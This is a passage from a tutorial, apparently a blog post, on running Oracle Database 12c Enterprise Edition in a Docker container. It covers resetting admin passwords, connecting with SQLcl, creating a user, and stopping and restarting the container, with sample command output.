    On the very first startup of the container a new database is being created. Subsequent startups of the same container or newly created containers pointing to the same volume will just start up the database again. Once the database is created and or started the container will run a tail -f on the Oracle Database alert.log file. This is done for convenience so that issuing a docker logs command will actually print the logs of the database running inside that container. Once the database is created or started up you will see the line DATABASE IS READY TO USE! in the output. After that you can connect to the database.

    Resetting the database admin accounts passwords

    The startup script also generated a password for the database admin accounts. You can find the password next to the line ORACLE PASSWORD FOR SYS, SYSTEM AND PDBADMIN: in the output. You can either use that password going forward or you can reset it to a password of your choice. The container provides a script called setPassword.sh for resetting the password. In a new shell just execute following command against the running container:

    [oracle@localhost ~]$ docker exec oracle-ee ./setPassword.sh LetsDocker
    The Oracle base remains unchanged with value /opt/oracle
    SQL*Plus: Release 12.2.0.1.0 Production on Sun Aug 20 19:17:08 2017
    Copyright (c) 1982, 2016, Oracle. All rights reserved.
    Connected to:
    Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    SQL>
    User altered.
    SQL>
    User altered.
    SQL>
    Session altered.
    SQL>
    User altered.
    SQL> Disconnected from Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

    Connecting to the Oracle Database

    Now that the container is running and the port 1521 mapped to the outside world I can connect to the database inside the container:

    [oracle@localhost ~]$ sql system/LetsDocker@//localhost:1521/ORCLPDB1
    SQLcl: Release 4.2.0 Production on Sun Aug 20 19:56:43 2017
    Copyright (c) 1982, 2017, Oracle. All rights reserved.
    Last Successful login time: Sun Aug 20 2017 12:21:42 -07:00
    Connected to:
    Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    SQL> grant connect, resource to gvenzl identified by supersecretpwd;
    Grant succeeded.
    SQL> conn gvenzl/supersecretpwd@//localhost:1521/ORCLPDB1
    Connected.
    SQL>

    Stopping the Oracle Database Docker container

    If you wish to stop the Docker container you can just do so via the docker stop command. All you will have to do is to issue the command and pass on the container name or id. This will trigger the container to issue a shutdown immediate for the database inside the container. By default Docker will only allow 10 seconds for the container to shutdown before killing it. For applications that may be fine but for persistent containers such as the Oracle Database container you may want to give the container a bit more time to shutdown the database appropriately. You can do that via the -t option that allows you to pass on a new timeout in seconds for the container to shutdown successfully. I will give the database 30 seconds to shutdown but it’s important to point out that it doesn’t really matter how long you give the container to shutdown. Once the database is shutdown the container will exit normal. It will not wait all the seconds that you have specified until returning control. So even if you give it 10 minutes (600 seconds) it will still return as soon as the database is shutdown. Just keep that in mind when specifying a timeout for busy database containers:

    [oracle@localhost ~]$ docker stop -t 30 oracle-ee
    oracle-ee

    Restarting the Oracle Database Docker container

    A stopped container can always be restarted via the docker start command:

    [oracle@localhost ~]$ docker start oracle-ee
    oracle-ee

    The docker start command will put the container into background and return control immediately. You can check the status of the container via the docker logs command which should print the same DATABASE IS READY TO USE! line. You will also see that this time the database was just restarted rather than created. Note, a docker logs -f will follow the log output, i.e. keep on printing new lines:

    [oracle@localhost ~]$ docker logs oracle-ee
    ...
    ...
    ...
    SQL*Plus: Release 12.2.0.1.0 Production on Sun Aug 20 19:30:31 2017
    Copyright (c) 1982, 2016, Oracle.  All rights reserved.
    Connected to an idle instance.
    SQL> ORACLE instance started.
    Total System Global Area 1610612736 bytes
    Fixed Size          8793304 bytes
    Variable Size         520094504 bytes
    Database Buffers     1073741824 bytes
    Redo Buffers            7983104 bytes
    Database mounted.
    Database opened.
    SQL> Disconnected from Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    #########################
    DATABASE IS READY TO USE!
    #########################
    The following output is now a tail of the alert.log:
    ORCLPDB1(3):Undo initialization finished serial:0 start:6800170 end:6800239 diff:69 ms (0.1 seconds)
    ORCLPDB1(3):Database Characterset for ORCLPDB1 is AL32UTF8
    ORCLPDB1(3):Opatch validation is skipped for PDB ORCLPDB1 (con_id=0)
    ORCLPDB1(3):Opening pdb with no Resource Manager plan active
    2017-08-20T19:30:43.703897+00:00
    Pluggable database ORCLPDB1 opened read write

    Now that the database is up and running again I can connect once more to the database inside:

    [oracle@localhost ~]$ sql gvenzl/supersecretpwd@//localhost:1521/ORCLPDB1
    SQLcl: Release 4.2.0 Production on Sun Aug 20 20:10:28 2017
    Copyright (c) 1982, 2017, Oracle. All rights reserved.
    Connected to:
    Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production
    SQL> select sysdate from dual;
    SYSDATE
    ---------
    20-AUG-17
    SQL> exit
    Disconnected from Oracle Database 12c Enterprise Edition Release 12.2.0.1.0 - 64bit Production

    Summary

    This concludes how to containerize the Oracle Database using Docker. Note that Oracle has also provided build files for other Oracle Database versions and editions. The steps described above are largely the same but you should always refer to the README.md that comes with the build files. In there you will also find more options for how to run your Oracle Database containers.

View more